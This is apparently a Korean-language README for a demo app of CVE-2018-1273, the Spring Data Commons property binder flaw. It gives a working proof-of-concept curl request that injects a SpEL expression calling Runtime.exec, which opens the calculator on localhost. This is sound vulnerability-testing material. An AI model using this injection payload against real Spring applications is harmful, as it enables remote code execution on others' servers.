CVE-2018-1273

Spring Data Commons (버전 1.13부터 1.13.10, 2.0부터 2.0.5 및 지원되지 않는 이전 버전)에는 특수 요소의 부적절한 무효화로 인한 속성 바인더 취약점이 존재합니다. 인증되지 않은 원격 악성 사용자(또는 공격자)는 Spring Data REST 기반 HTTP 리소스 또는 Spring Data의 프로젝션 기반 요청 본문 바인딩을 대상으로 특수하게 조작된 요청 매개변수를 제공하여 원격 코드 실행 공격을 수행할 수 있습니다.

자세한 정보는 여기에서 확인하세요.

실행

이 애플리케이션은 취약한 버전 또는 수정된 버전의 Spring Data Commons로 테스트할 수 있습니다.

• 취약한 버전 (기본값):

mvn spring-boot:run

• 수정된 버전:

mvn spring-boot:run -Dfixed

취약점 테스트

다음 명령을 실행하여 취약점이 악용될 수 있는지 확인하세요.

• Windows에서:

curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

• macOS에서:

curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"